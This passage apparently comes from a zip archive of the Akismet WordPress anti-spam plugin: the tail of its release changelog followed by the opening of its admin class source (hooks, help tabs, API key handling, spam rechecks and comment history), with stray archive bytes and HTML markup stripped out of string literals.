wp_commentmeta that no longer have corresponding comments in wp_comments. * Added a new `akismet_batch_delete_count` action to the batch delete methods for people who'd like to keep track of the numbers of records being processed by those methods. = 4.0.2 = *Release Date - 18 December 2017* * Fixed a bug that could cause Akismet to recheck a comment that has already been manually approved or marked as spam. * Fixed a bug that could cause Akismet to claim that some comments are still waiting to be checked when no comments are waiting to be checked. = 4.0.1 = *Release Date - 6 November 2017* * Fixed a bug that could prevent some users from connecting Akismet via their Jetpack connection. * Ensured that any pending Akismet-related events are unscheduled if the plugin is deactivated. * Allow some JavaScript to be run asynchronously to avoid affecting page render speeds. = 4.0 = *Release Date - 19 September 2017* * Added REST API endpoints for configuring Akismet and retrieving stats. * Increased the minimum supported WordPress version to 4.0. * Added compatibility with comments submitted via the REST API. * Improved the progress indicator on the "Check for Spam" button. = 3.3.4 = *Release Date - 3 August 2017* * Disabled Akismet's debug log output by default unless AKISMET_DEBUG is defined. * URL previews now begin preloading when the mouse moves near them in the comments section of wp-admin. * When a comment is caught by the Comment Blacklist, Akismet will always allow it to stay in the trash even if it is spam as well. * Fixed a bug that was preventing an error from being shown when a site can't reach Akismet's servers. = 3.3.3 = *Release Date - 13 July 2017* * Reduced amount of bandwidth used by the URL Preview feature. * Improved the admin UI when the API key is manually pre-defined for the site. * Removed a workaround for WordPress installations older than 3.3 that will improve Akismet's compatibility with other plugins. * The number of spam blocked that is displayed on the WordPress dashboard will now be more accurate and updated more frequently. * Fixed a bug in the Akismet widget that could cause PHP warnings. = 3.3.2 = *Release Date - 10 May 2017* * Fixed a bug causing JavaScript errors in some browsers. = 3.3.1 = *Release Date - 2 May 2017* * Improve performance by only requesting the akismet_comment_nonce option when absolutely necessary. * Fixed two bugs that could cause PHP warnings. * Fixed a bug that was preventing the "Remove author URL" feature from working after a comment was edited using "Quick Edit." * Fixed a bug that was preventing the URL preview feature from working after a comment was edited using "Quick Edit." = 3.3 = *Release Date - 23 February 2017* * Updated the Akismet admin pages with a new clean design. * Fixed bugs preventing the `akismet_add_comment_nonce` and `akismet_update_alert` wrapper functions from working properly. * Fixed bug preventing the loading indicator from appearing when re-checking all comments for spam. * Added a progress indicator to the "Check for Spam" button. * Added a success message after manually rechecking the Pending queue for spam. = 3.2 = *Release Date - 6 September 2016* * Added a WP-CLI module. You can now check comments and recheck the moderation queue from the command line. * Stopped using the deprecated jQuery function `.live()`. * Fixed a bug in `remove_comment_author_url()` and `add_comment_author_url()` that could generate PHP notices. * Fixed a bug that could cause an infinite loop for sites with very very very large comment IDs. * Fixed a bug that could cause the Akismet widget title to be blank. = 3.1.11 = *Release Date - 12 May 2016* * Fixed a bug that could cause the "Check for Spam" button to skip some comments. * Fixed a bug that could prevent some spam submissions from being sent to Akismet. * Updated all links to use https:// when possible. * Disabled Akismet debug logging unless WP_DEBUG and WP_DEBUG_LOG are both enabled. = 3.1.10 = *Release Date - 1 April 2016* * Fixed a bug that could cause comments caught as spam to be placed in the Pending queue. * Fixed a bug that could have resulted in comments that were caught by the core WordPress comment blacklist not to have a corresponding History entry. * Fixed a bug that could have caused avoidable PHP warnings in the error log. = 3.1.9 = *Release Date - 28 March 2016* * Add compatibility with Jetpack so that Jetpack can automatically configure Akismet settings when appropriate. * Fixed a bug preventing some comment data from being sent to Akismet. = 3.1.8 = *Release Date - 4 March 2016* * Fixed a bug preventing Akismet from being used with some plugins that rewrite admin URLs. * Reduced the amount of bandwidth used on Akismet API calls * Reduced the amount of space Akismet uses in the database * Fixed a bug that could cause comments caught as spam to be placed in the Pending queue. = 3.1.7 = *Release Date - 4 January 2016* * Added documentation for the 'akismet_comment_nonce' filter. * The post-install activation button is now accessible to screen readers and keyboard-only users. * Fixed a bug that was preventing the "Remove author URL" feature from working in WordPress 4.4 = 3.1.6 = *Release Date - 14 December 2015* * Improve the notices shown after activating Akismet. * Update some strings to allow for the proper plural forms in all languages. = 3.1.5 = *Release Date - 13 October 2015* * Closes a potential XSS vulnerability. = 3.1.4 = *Release Date - 24 September 2015* * Fixed a bug that was preventing some users from automatically connecting using Jetpack if they didn't have a current Akismet subscription. * Fixed a bug that could cause comments caught as spam to be placed in the Pending queue. * Error messages and instructions have been simplified to be more understandable. * Link previews are enabled for all links inside comments, not just the author's website link. = 3.1.3 = *Release Date - 6 July 2015* * Notify users when their account status changes after previously being successfully set up. This should help any users who are seeing blank Akismet settings screens. = 3.1.2 = *Release Date - 7 June 2015* * Reduced the amount of space Akismet uses in the commentmeta table. * Fixed a bug where some comments with quotes in the author name weren't getting history entries * Pre-emptive security improvements to ensure that the Akismet plugin can't be used by attackers to compromise a WordPress installation. * Better UI for the key entry field: allow whitespace to be included at the beginning or end of the key and strip it out automatically when the form is submitted. * When deactivating the plugin, notify the Akismet API so the site can be marked as inactive. * Clearer error messages. = 3.1.1 = *Release Date - 17th March, 2015* * Improvements to the "Remove comment author URL" JavaScript * Include the pingback pre-check from the 2.6 branch. = 3.1 = *Release Date - 11th March, 2015* * Use HTTPS by default for all requests to Akismet. * Fix for a situation where Akismet might strip HTML from a comment. = 3.0.4 = *Release Date - 11th December, 2014* * Fix to make .htaccess compatible with Apache 2.4. * Fix to allow removal of https author URLs. * Fix to avoid stripping part of the author URL when removing and re-adding. * Removed the "Check for Spam" button from the "Trash" and "Approved" queues, where it would have no effect. * Allow automatic API key configuration when Jetpack is installed and connected to a WordPress.com account = 3.0.3 = *Release Date - 3rd November, 2014* * Fix for sending the wrong data to delete_comment action that could have prevented old spam comments from being deleted. * Added a filter to disable logging of Akismet debugging information. * Added a filter for the maximum comment age when deleting old spam comments. * Added a filter for the number per batch when deleting old spam comments. * Removed the "Check for Spam" button from the Spam folder. = 3.0.2 = *Release Date - 18th August, 2014* * Performance improvements. * Fixed a bug that could truncate the comment data being sent to Akismet for checking. = 3.0.1 = *Release Date - 9th July, 2014* * Removed dependency on PHP's fsockopen function * Fix spam/ham reports to work when reported outside of the WP dashboard, e.g., from Notifications or the WP app * Remove jQuery dependency for comment form JavaScript * Remove unnecessary data from some Akismet comment meta * Suspended keys will now result in all comments being put in moderation, not spam. = 3.0.0 = *Release Date - 15th April, 2014* * Move Akismet to Settings menu * Drop Akismet Stats menu * Add stats snapshot to Akismet settings * Add Akismet subscription details and status to Akismet settings * Add contextual help for each page * Improve Akismet setup to use Jetpack to automate plugin setup * Fix "Check for Spam" to use AJAX to avoid page timing out * Fix Akismet settings page to be responsive * Drop legacy code * Tidy up CSS and Javascript * Replace the old discard setting with a new "discard pervasive spam" feature. = 2.6.0 = *Release Date - 18th March, 2014* * Add ajax paging to the check for spam button to handle large volumes of comments * Optimize javascript and add localization support * Fix bug in link to spam comments from right now dashboard widget * Fix bug with deleting old comments to avoid timeouts dealing with large volumes of comments * Include X-Pingback-Forwarded-For header in outbound WordPress pingback verifications * Add pre-check for pingbacks, to stop spam before an outbound verification request is made = 2.5.9 = *Release Date - 1st August, 2013* * Update 'Already have a key' link to redirect page rather than depend on javascript * Fix some non-translatable strings to be translatable * Update Activation banner in plugins page to redirect user to Akismet config page = 2.5.8 = *Release Date - 20th January, 2013* * Simplify the activation process for new users * Remove the reporter_ip parameter * Minor preventative security improvements = 2.5.7 = *Release Date - 13th December, 2012* * FireFox Stats iframe preview bug * Fix mshots preview when using https * Add .htaccess to block direct access to files * Prevent some PHP notices * Fix Check For Spam return location when referrer is empty * Fix Settings links for network admins * Fix prepare() warnings in WP 3.5 = 2.5.6 = *Release Date - 26th April, 2012* * Prevent retry scheduling problems on sites where wp_cron is misbehaving * Preload mshot previews * Modernize the widget code * Fix a bug where comments were not held for moderation during an error condition * Improve the UX and display when comments are temporarily held due to an error * Make the Check For Spam button force a retry when comments are held due to an error * Handle errors caused by an invalid key * Don't retry comments that are too old * Improve error messages when verifying an API key = 2.5.5 = *Release Date - 11th January, 2012* * Add nonce check for comment author URL remove action * Fix the settings link = 2.5.4 = *Release Date - 5th January, 2012* * Limit Akismet CSS and Javascript loading in wp-admin to just the pages that need it * Added author URL quick removal functionality * Added mShot preview on Author URL hover * Added empty index.php to prevent directory listing * Move wp-admin menu items under Jetpack, if it is installed * Purge old Akismet comment meta data, default of 15 days = 2.5.3 = *Release Date - 8th Febuary, 2011* * Specify the license is GPL v2 or later * Fix a bug that could result in orphaned commentmeta entries * Include hotfix for WordPress 3.0.5 filter issue = 2.5.2 = *Release Date - 14th January, 2011* * Properly format the comment count for author counts * Look for super admins on multisite installs when looking up user roles * Increase the HTTP request timeout * Removed padding for author approved count * Fix typo in function name * Set Akismet stats iframe height to fixed 2500px. Better to have one tall scroll bar than two side by side. = 2.5.1 = *Release Date - 17th December, 2010* * Fix a bug that caused the "Auto delete" option to fail to discard comments correctly * Remove the comment nonce form field from the 'Akismet Configuration' page in favor of using a filter, akismet_comment_nonce * Fixed padding bug in "author" column of posts screen * Added margin-top to "cleared by ..." badges on dashboard * Fix possible error when calling akismet_cron_recheck() * Fix more PHP warnings * Clean up XHTML warnings for comment nonce * Fix for possible condition where scheduled comment re-checks could get stuck * Clean up the comment meta details after deleting a comment * Only show the status badge if the comment status has been changed by someone/something other than Akismet * Show a 'History' link in the row-actions * Translation fixes * Reduced font-size on author name * Moved "flagged by..." notification to top right corner of comment container and removed heavy styling * Hid "flagged by..." notification while on dashboard = 2.5.0 = *Release Date - 7th December, 2010* * Track comment actions under 'Akismet Status' on the edit comment screen * Fix a few remaining deprecated function calls ( props Mike Glendinning ) * Use HTTPS for the stats IFRAME when wp-admin is using HTTPS * Use the WordPress HTTP class if available * Move the admin UI code to a separate file, only loaded when needed * Add cron retry feature, to replace the old connectivity check * Display Akismet status badge beside each comment * Record history for each comment, and display it on the edit page * Record the complete comment as originally submitted in comment_meta, to use when reporting spam and ham * Highlight links in comment content * New option, "Show the number of comments you've approved beside each comment author." * New option, "Use a nonce on the comment form." = 2.4.0 = *Release Date - 23rd August, 2010* * Spell out that the license is GPLv2 * Fix PHP warnings * Fix WordPress deprecated function calls * Fire the delete_comment action when deleting comments * Move code specific for older WP versions to legacy.php * General code clean up = 2.3.0 = *Release Date - 5th June, 2010* * Fix "Are you sure" nonce message on config screen in WPMU * Fix XHTML compliance issue in sidebar widget * Change author link; remove some old references to WordPress.com accounts * Localize the widget title (core ticket #13879) = 2.2.9 = *Release Date - 2nd June, 2010* * Eliminate a potential conflict with some plugins that may cause spurious reports = 2.2.8 = *Release Date - 27th May, 2010* * Fix bug in initial comment check for ipv6 addresses * Report comments as ham when they are moved from spam to moderation * Report comments as ham when clicking undo after spam * Use transition_comment_status action when available instead of older actions for spam/ham submissions * Better diagnostic messages when PHP network functions are unavailable * Better handling of comments by logged-in users = 2.2.7 = *Release Date - 17th December, 2009* * Add a new AKISMET_VERSION constant * Reduce the possibility of over-counting spam when another spam filter plugin is in use * Disable the connectivity check when the API key is hard-coded for WPMU = 2.2.6 = *Release Date - 20th July, 2009* * Fix a global warning introduced in 2.2.5 * Add changelog and additional readme.txt tags * Fix an array conversion warning in some versions of PHP * Support a new WPCOM_API_KEY constant for easier use with WordPress MU = 2.2.5 = *Release Date - 13th July, 2009* * Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls = 2.2.4 = *Release Date - 3rd June, 2009* * Fixed a key problem affecting the stats feature in WordPress MU * Provide additional blog information in Akismet API calls PK/—[ûOîšÃÃakismet/class.akismet-admin.phpnu„[µü¤ array( 'href' => true, 'title' => true, ), 'b' => array(), 'code' => array(), 'del' => array( 'datetime' => true, ), 'em' => array(), 'i' => array(), 'q' => array( 'cite' => true, ), 'strike' => array(), 'strong' => array(), ); public static function init() { if ( ! self::$initiated ) { self::init_hooks(); } if ( isset( $_POST['action'] ) && $_POST['action'] == 'enter-key' ) { self::enter_api_key(); } } public static function init_hooks() { // The standalone stats page was removed in 3.0 for an all-in-one config and stats page. // Redirect any links that might have been bookmarked or in browser history. if ( isset( $_GET['page'] ) && 'akismet-stats-display' == $_GET['page'] ) { wp_safe_redirect( esc_url_raw( self::get_page_url( 'stats' ) ), 301 ); die; } self::$initiated = true; add_action( 'admin_init', array( 'Akismet_Admin', 'admin_init' ) ); add_action( 'admin_menu', array( 'Akismet_Admin', 'admin_menu' ), 5 ); # Priority 5, so it's called before Jetpack's admin_menu. add_action( 'admin_notices', array( 'Akismet_Admin', 'display_notice' ) ); add_action( 'admin_enqueue_scripts', array( 'Akismet_Admin', 'load_resources' ) ); add_action( 'activity_box_end', array( 'Akismet_Admin', 'dashboard_stats' ) ); add_action( 'rightnow_end', array( 'Akismet_Admin', 'rightnow_stats' ) ); add_action( 'manage_comments_nav', array( 'Akismet_Admin', 'check_for_spam_button' ) ); add_action( 'admin_action_akismet_recheck_queue', array( 'Akismet_Admin', 'recheck_queue' ) ); add_action( 'wp_ajax_akismet_recheck_queue', array( 'Akismet_Admin', 'recheck_queue' ) ); add_action( 'wp_ajax_comment_author_deurl', array( 'Akismet_Admin', 'remove_comment_author_url' ) ); add_action( 'wp_ajax_comment_author_reurl', array( 'Akismet_Admin', 'add_comment_author_url' ) ); add_action( 'jetpack_auto_activate_akismet', array( 'Akismet_Admin', 'connect_jetpack_user' ) ); add_filter( 'plugin_action_links', array( 'Akismet_Admin', 'plugin_action_links' ), 10, 2 ); add_filter( 'comment_row_actions', array( 'Akismet_Admin', 'comment_row_action' ), 10, 2 ); add_filter( 'plugin_action_links_'.plugin_basename( plugin_dir_path( __FILE__ ) . 'akismet.php'), array( 'Akismet_Admin', 'admin_plugin_settings_link' ) ); add_filter( 'wxr_export_skip_commentmeta', array( 'Akismet_Admin', 'exclude_commentmeta_from_export' ), 10, 3 ); add_filter( 'all_plugins', array( 'Akismet_Admin', 'modify_plugin_description' ) ); // priority=1 because we need ours to run before core's comment anonymizer runs, and that's registered at priority=10 add_filter( 'wp_privacy_personal_data_erasers', array( 'Akismet_Admin', 'register_personal_data_eraser' ), 1 ); } public static function admin_init() { if ( get_option( 'Activated_Akismet' ) ) { delete_option( 'Activated_Akismet' ); if ( ! headers_sent() ) { wp_redirect( add_query_arg( array( 'page' => 'akismet-key-config', 'view' => 'start' ), class_exists( 'Jetpack' ) ? admin_url( 'admin.php' ) : admin_url( 'options-general.php' ) ) ); } } load_plugin_textdomain( 'akismet' ); add_meta_box( 'akismet-status', __('Comment History', 'akismet'), array( 'Akismet_Admin', 'comment_status_meta_box' ), 'comment', 'normal' ); if ( function_exists( 'wp_add_privacy_policy_content' ) ) { wp_add_privacy_policy_content( __( 'Akismet', 'akismet' ), __( 'We collect information about visitors who comment on Sites that use our Akismet anti-spam service. The information we collect depends on how the User sets up Akismet for the Site, but typically includes the commenter\'s IP address, user agent, referrer, and Site URL (along with other information directly provided by the commenter such as their name, username, email address, and the comment itself).', 'akismet' ) ); } } public static function admin_menu() { if ( class_exists( 'Jetpack' ) ) add_action( 'jetpack_admin_menu', array( 'Akismet_Admin', 'load_menu' ) ); else self::load_menu(); } public static function admin_head() { if ( !current_user_can( 'manage_options' ) ) return; } public static function admin_plugin_settings_link( $links ) { $settings_link = ''.__('Settings', 'akismet').''; array_unshift( $links, $settings_link ); return $links; } public static function load_menu() { if ( class_exists( 'Jetpack' ) ) { $hook = add_submenu_page( 'jetpack', __( 'Akismet Anti-Spam' , 'akismet'), __( 'Akismet Anti-Spam' , 'akismet'), 'manage_options', 'akismet-key-config', array( 'Akismet_Admin', 'display_page' ) ); } else { $hook = add_options_page( __('Akismet Anti-Spam', 'akismet'), __('Akismet Anti-Spam', 'akismet'), 'manage_options', 'akismet-key-config', array( 'Akismet_Admin', 'display_page' ) ); } if ( $hook ) { add_action( "load-$hook", array( 'Akismet_Admin', 'admin_help' ) ); } } public static function load_resources() { global $hook_suffix; if ( in_array( $hook_suffix, apply_filters( 'akismet_admin_page_hook_suffixes', array( 'index.php', # dashboard 'edit-comments.php', 'comment.php', 'post.php', 'settings_page_akismet-key-config', 'jetpack_page_akismet-key-config', 'plugins.php', ) ) ) ) { wp_register_style( 'akismet.css', plugin_dir_url( __FILE__ ) . '_inc/akismet.css', array(), AKISMET_VERSION ); wp_enqueue_style( 'akismet.css'); wp_register_script( 'akismet.js', plugin_dir_url( __FILE__ ) . '_inc/akismet.js', array('jquery'), AKISMET_VERSION ); wp_enqueue_script( 'akismet.js' ); $inline_js = array( 'comment_author_url_nonce' => wp_create_nonce( 'comment_author_url_nonce' ), 'strings' => array( 'Remove this URL' => __( 'Remove this URL' , 'akismet'), 'Removing...' => __( 'Removing...' , 'akismet'), 'URL removed' => __( 'URL removed' , 'akismet'), '(undo)' => __( '(undo)' , 'akismet'), 'Re-adding...' => __( 'Re-adding...' , 'akismet'), ) ); if ( isset( $_GET['akismet_recheck'] ) && wp_verify_nonce( $_GET['akismet_recheck'], 'akismet_recheck' ) ) { $inline_js['start_recheck'] = true; } if ( apply_filters( 'akismet_enable_mshots', true ) ) { $inline_js['enable_mshots'] = true; } wp_localize_script( 'akismet.js', 'WPAkismet', $inline_js ); } } /** * Add help to the Akismet page * * @return false if not the Akismet page */ public static function admin_help() { $current_screen = get_current_screen(); // Screen Content if ( current_user_can( 'manage_options' ) ) { if ( !Akismet::get_api_key() || ( isset( $_GET['view'] ) && $_GET['view'] == 'start' ) ) { //setup page $current_screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Setup' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Akismet filters out spam, so you can focus on more important things.' , 'akismet') . '

      ' . '

      ' . esc_html__( 'On this page, you are able to set up the Akismet plugin.' , 'akismet') . '

      ', ) ); $current_screen->add_help_tab( array( 'id' => 'setup-signup', 'title' => __( 'New to Akismet' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Setup' , 'akismet') . '

      ' . '

      ' . esc_html__( 'You need to enter an API key to activate the Akismet service on your site.' , 'akismet') . '

      ' . '

      ' . sprintf( __( 'Sign up for an account on %s to get an API Key.' , 'akismet'), 'Akismet.com' ) . '

      ', ) ); $current_screen->add_help_tab( array( 'id' => 'setup-manual', 'title' => __( 'Enter an API Key' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Setup' , 'akismet') . '

      ' . '

      ' . esc_html__( 'If you already have an API key' , 'akismet') . '

      ' . '
        ' . '
      1. ' . esc_html__( 'Copy and paste the API key into the text field.' , 'akismet') . '
      2. ' . '
      3. ' . esc_html__( 'Click the Use this Key button.' , 'akismet') . '
      4. ' . '
      ', ) ); } elseif ( isset( $_GET['view'] ) && $_GET['view'] == 'stats' ) { //stats page $current_screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Stats' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Akismet filters out spam, so you can focus on more important things.' , 'akismet') . '

      ' . '

      ' . esc_html__( 'On this page, you are able to view stats on spam filtered on your site.' , 'akismet') . '

      ', ) ); } else { //configuration page $current_screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Configuration' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Akismet filters out spam, so you can focus on more important things.' , 'akismet') . '

      ' . '

      ' . esc_html__( 'On this page, you are able to update your Akismet settings and view spam stats.' , 'akismet') . '

      ', ) ); $current_screen->add_help_tab( array( 'id' => 'settings', 'title' => __( 'Settings' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Configuration' , 'akismet') . '

      ' . ( Akismet::predefined_api_key() ? '' : '

      ' . esc_html__( 'API Key' , 'akismet') . ' - ' . esc_html__( 'Enter/remove an API key.' , 'akismet') . '

      ' ) . '

      ' . esc_html__( 'Comments' , 'akismet') . ' - ' . esc_html__( 'Show the number of approved comments beside each comment author in the comments list page.' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Strictness' , 'akismet') . ' - ' . esc_html__( 'Choose to either discard the worst spam automatically or to always put all spam in spam folder.' , 'akismet') . '

      ', ) ); if ( ! Akismet::predefined_api_key() ) { $current_screen->add_help_tab( array( 'id' => 'account', 'title' => __( 'Account' , 'akismet'), 'content' => '

      ' . esc_html__( 'Akismet Configuration' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Subscription Type' , 'akismet') . ' - ' . esc_html__( 'The Akismet subscription plan' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Status' , 'akismet') . ' - ' . esc_html__( 'The subscription status - active, cancelled or suspended' , 'akismet') . '

      ', ) ); } } } // Help Sidebar $current_screen->set_help_sidebar( '

      ' . esc_html__( 'For more information:' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Akismet FAQ' , 'akismet') . '

      ' . '

      ' . esc_html__( 'Akismet Support' , 'akismet') . '

      ' ); } public static function enter_api_key() { if ( ! current_user_can( 'manage_options' ) ) { die( __( 'Cheatin’ uh?', 'akismet' ) ); } if ( !wp_verify_nonce( $_POST['_wpnonce'], self::NONCE ) ) return false; foreach( array( 'akismet_strictness', 'akismet_show_user_comments_approved' ) as $option ) { update_option( $option, isset( $_POST[$option] ) && (int) $_POST[$option] == 1 ? '1' : '0' ); } if ( ! empty( $_POST['akismet_comment_form_privacy_notice'] ) ) { self::set_form_privacy_notice_option( $_POST['akismet_comment_form_privacy_notice'] ); } else { self::set_form_privacy_notice_option( 'hide' ); } if ( Akismet::predefined_api_key() ) { return false; //shouldn't have option to save key if already defined } $new_key = preg_replace( '/[^a-f0-9]/i', '', $_POST['key'] ); $old_key = Akismet::get_api_key(); if ( empty( $new_key ) ) { if ( !empty( $old_key ) ) { delete_option( 'wordpress_api_key' ); self::$notices[] = 'new-key-empty'; } } elseif ( $new_key != $old_key ) { self::save_key( $new_key ); } return true; } public static function save_key( $api_key ) { $key_status = Akismet::verify_key( $api_key ); if ( $key_status == 'valid' ) { $akismet_user = self::get_akismet_user( $api_key ); if ( $akismet_user ) { if ( in_array( $akismet_user->status, array( 'active', 'active-dunning', 'no-sub' ) ) ) update_option( 'wordpress_api_key', $api_key ); if ( $akismet_user->status == 'active' ) self::$notices['status'] = 'new-key-valid'; elseif ( $akismet_user->status == 'notice' ) self::$notices['status'] = $akismet_user; else self::$notices['status'] = $akismet_user->status; } else self::$notices['status'] = 'new-key-invalid'; } elseif ( in_array( $key_status, array( 'invalid', 'failed' ) ) ) self::$notices['status'] = 'new-key-'.$key_status; } public static function dashboard_stats() { if ( did_action( 'rightnow_end' ) ) { return; // We already displayed this info in the "Right Now" section } if ( !$count = get_option('akismet_spam_count') ) return; global $submenu; echo '

      ' . esc_html( _x( 'Spam', 'comments' , 'akismet') ) . '

      '; echo '

      '.sprintf( _n( 'Akismet has protected your site from %3$s spam comment.', 'Akismet has protected your site from %3$s spam comments.', $count , 'akismet'), 'https://akismet.com/wordpress/', esc_url( add_query_arg( array( 'page' => 'akismet-admin' ), admin_url( isset( $submenu['edit-comments.php'] ) ? 'edit-comments.php' : 'edit.php' ) ) ), number_format_i18n($count) ).'

      '; } // WP 2.5+ public static function rightnow_stats() { if ( $count = get_option('akismet_spam_count') ) { $intro = sprintf( _n( 'Akismet has protected your site from %2$s spam comment already. ', 'Akismet has protected your site from %2$s spam comments already. ', $count , 'akismet'), 'https://akismet.com/wordpress/', number_format_i18n( $count ) ); } else { $intro = sprintf( __('Akismet blocks spam from getting to your blog. ', 'akismet'), 'https://akismet.com/wordpress/' ); } $link = add_query_arg( array( 'comment_status' => 'spam' ), admin_url( 'edit-comments.php' ) ); if ( $queue_count = self::get_spam_count() ) { $queue_text = sprintf( _n( 'There’s %1$s comment in your spam queue right now.', 'There are %1$s comments in your spam queue right now.', $queue_count , 'akismet'), number_format_i18n( $queue_count ), esc_url( $link ) ); } else { $queue_text = sprintf( __( "There’s nothing in your spam queue at the moment." , 'akismet'), esc_url( $link ) ); } $text = $intro . '
      ' . $queue_text; echo "

      $text

      \n"; } public static function check_for_spam_button( $comment_status ) { // The "Check for Spam" button should only appear when the page might be showing // a comment with comment_approved=0, which means an un-trashed, un-spammed, // not-yet-moderated comment. if ( 'all' != $comment_status && 'moderated' != $comment_status ) { return; } $link = ''; $comments_count = wp_count_comments(); echo ''; echo '
      '; $classes = array( 'button-secondary', 'checkforspam', 'button-disabled' // Disable button until the page is loaded ); if ( $comments_count->moderated > 0 ) { $classes[] = 'enable-on-load'; if ( ! Akismet::get_api_key() ) { $link = add_query_arg( array( 'page' => 'akismet-key-config' ), class_exists( 'Jetpack' ) ? admin_url( 'admin.php' ) : admin_url( 'options-general.php' ) ); $classes[] = 'ajax-disabled'; } } echo '' . esc_html__('Check for Spam', 'akismet') . ''; echo ''; } public static function recheck_queue() { global $wpdb; Akismet::fix_scheduled_recheck(); if ( ! ( isset( $_GET['recheckqueue'] ) || ( isset( $_REQUEST['action'] ) && 'akismet_recheck_queue' == $_REQUEST['action'] ) ) ) { return; } if ( ! wp_verify_nonce( $_POST['nonce'], 'akismet_check_for_spam' ) ) { wp_send_json( array( 'error' => __( "You don't have permission to do that."), )); return; } $result_counts = self::recheck_queue_portion( empty( $_POST['offset'] ) ? 0 : $_POST['offset'], empty( $_POST['limit'] ) ? 100 : $_POST['limit'] ); if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { wp_send_json( array( 'counts' => $result_counts, )); } else { $redirect_to = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : admin_url( 'edit-comments.php' ); wp_safe_redirect( $redirect_to ); exit; } } public static function recheck_queue_portion( $start = 0, $limit = 100 ) { global $wpdb; $paginate = ''; if ( $limit <= 0 ) { $limit = 100; } if ( $start < 0 ) { $start = 0; } $moderation = $wpdb->get_col( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_approved = '0' LIMIT %d OFFSET %d", $limit, $start ) ); $result_counts = array( 'processed' => count( $moderation ), 'spam' => 0, 'ham' => 0, 'error' => 0, ); foreach ( $moderation as $comment_id ) { $api_response = Akismet::recheck_comment( $comment_id, 'recheck_queue' ); if ( 'true' === $api_response ) { ++$result_counts['spam']; } elseif ( 'false' === $api_response ) { ++$result_counts['ham']; } else { ++$result_counts['error']; } } return $result_counts; } // Adds an 'x' link next to author URLs, clicking will remove the author URL and show an undo link public static function remove_comment_author_url() { if ( !empty( $_POST['id'] ) && check_admin_referer( 'comment_author_url_nonce' ) ) { $comment_id = intval( $_POST['id'] ); $comment = get_comment( $comment_id, ARRAY_A ); if ( $comment && current_user_can( 'edit_comment', $comment['comment_ID'] ) ) { $comment['comment_author_url'] = ''; do_action( 'comment_remove_author_url' ); print( wp_update_comment( $comment ) ); die(); } } } public static function add_comment_author_url() { if ( !empty( $_POST['id'] ) && !empty( $_POST['url'] ) && check_admin_referer( 'comment_author_url_nonce' ) ) { $comment_id = intval( $_POST['id'] ); $comment = get_comment( $comment_id, ARRAY_A ); if ( $comment && current_user_can( 'edit_comment', $comment['comment_ID'] ) ) { $comment['comment_author_url'] = esc_url( $_POST['url'] ); do_action( 'comment_add_author_url' ); print( wp_update_comment( $comment ) ); die(); } } } public static function comment_row_action( $a, $comment ) { $akismet_result = get_comment_meta( $comment->comment_ID, 'akismet_result', true ); $akismet_error = get_comment_meta( $comment->comment_ID, 'akismet_error', true ); $user_result = get_comment_meta( $comment->comment_ID, 'akismet_user_result', true); $comment_status = wp_get_comment_status( $comment->comment_ID ); $desc = null; if ( $akismet_error ) { $desc = __( 'Awaiting spam check' , 'akismet'); } elseif ( !$user_result || $user_result == $akismet_result ) { // Show the original Akismet result if the user hasn't overridden it, or if their decision was the same if ( $akismet_result == 'true' && $comment_status != 'spam' && $comment_status != 'trash' ) $desc = __( 'Flagged as spam by Akismet' , 'akismet'); elseif ( $akismet_result == 'false' && $comment_status == 'spam' ) $desc = __( 'Cleared by Akismet' , 'akismet'); } else { $who = get_comment_meta( $comment->comment_ID, 'akismet_user', true ); if ( $user_result == 'true' ) $desc = sprintf( __('Flagged as spam by %s', 'akismet'), $who ); else $desc = sprintf( __('Un-spammed by %s', 'akismet'), $who ); } // add a History item to the hover links, just after Edit if ( $akismet_result ) { $b = array(); foreach ( $a as $k => $item ) { $b[ $k ] = $item; if ( $k == 'edit' || $k == 'unspam' ) { $b['history'] = ' '. esc_html__('History', 'akismet') . ''; } } $a = $b; } if ( $desc ) echo ''.esc_html( $desc ).''; $show_user_comments_option = get_option( 'akismet_show_user_comments_approved' ); if ( $show_user_comments_option === false ) { // Default to active if the user hasn't made a decision. $show_user_comments_option = '1'; } $show_user_comments = apply_filters( 'akismet_show_user_comments_approved', $show_user_comments_option ); $show_user_comments = $show_user_comments === 'false' ? false : $show_user_comments; //option used to be saved as 'false' / 'true' if ( $show_user_comments ) { $comment_count = Akismet::get_user_comments_approved( $comment->user_id, $comment->comment_author_email, $comment->comment_author, $comment->comment_author_url ); $comment_count = intval( $comment_count ); echo ''; } return $a; } public static function comment_status_meta_box( $comment ) { $history = Akismet::get_comment_history( $comment->comment_ID ); if ( $history ) { foreach ( $history as $row ) { $time = date( 'D d M Y @ h:i:s a', $row['time'] ) . ' GMT'; $message = ''; if ( ! empty( $row['message'] ) ) { // Old versions of Akismet stored the message as a literal string in the commentmeta. // New versions don't do that for two reasons: // 1) Save space. // 2) The message can be translated into the current language of the blog, not stuck // in the language of the blog when the comment was made. $message = esc_html( $row['message'] ); } // If possible, use a current translation. switch ( $row['event'] ) { case 'recheck-spam'; $message = esc_html( __( 'Akismet re-checked and caught this comment as spam.', 'akismet' ) ); break; case 'check-spam': $message = esc_html( __( 'Akismet caught this comment as spam.', 'akismet' ) ); break; case 'recheck-ham': $message = esc_html( __( 'Akismet re-checked and cleared this comment.', 'akismet' ) ); break; case 'check-ham': $message = esc_html( __( 'Akismet cleared this comment.', 'akismet' ) ); break; case 'wp-blacklisted': case 'wp-disallowed': $message = sprintf( /* translators: The placeholder is a WordPress PHP function 